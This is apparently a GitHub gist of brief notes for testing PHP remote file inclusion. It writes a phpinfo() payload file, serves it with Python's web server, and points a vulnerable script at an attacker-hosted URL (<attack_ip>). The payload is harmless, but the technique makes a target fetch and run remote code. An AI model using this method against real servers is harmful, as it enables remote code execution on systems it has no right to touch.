Skip to content

Instantly share code, notes, and snippets.

@jakekarnes42

jakekarnes42/php_rfi_example_notes.txt

Created August 12, 2019 22:34
Show Gist options
  • Save jakekarnes42/938d3fbd7a87bdb7fde02fbcb69f8bc0 to your computer and use it in GitHub Desktop.
Save jakekarnes42/938d3fbd7a87bdb7fde02fbcb69f8bc0 to your computer and use it in GitHub Desktop.
Download ZIP
Example for testing PHP RFI
Raw
php_rfi_example_notes.txt
$ mkdir evil_files
$ cat > evil_files/phpinfo.txt
<?php
phpinfo();
?>
Next, we need to serve the file. Python has a built in web server module we can use for this.
$ cd evil_files
$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
Now we just need to point our vulnerable script at our attacking system, with the following URI:
http://<attack_ip>:8000/phpinfo.txt
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment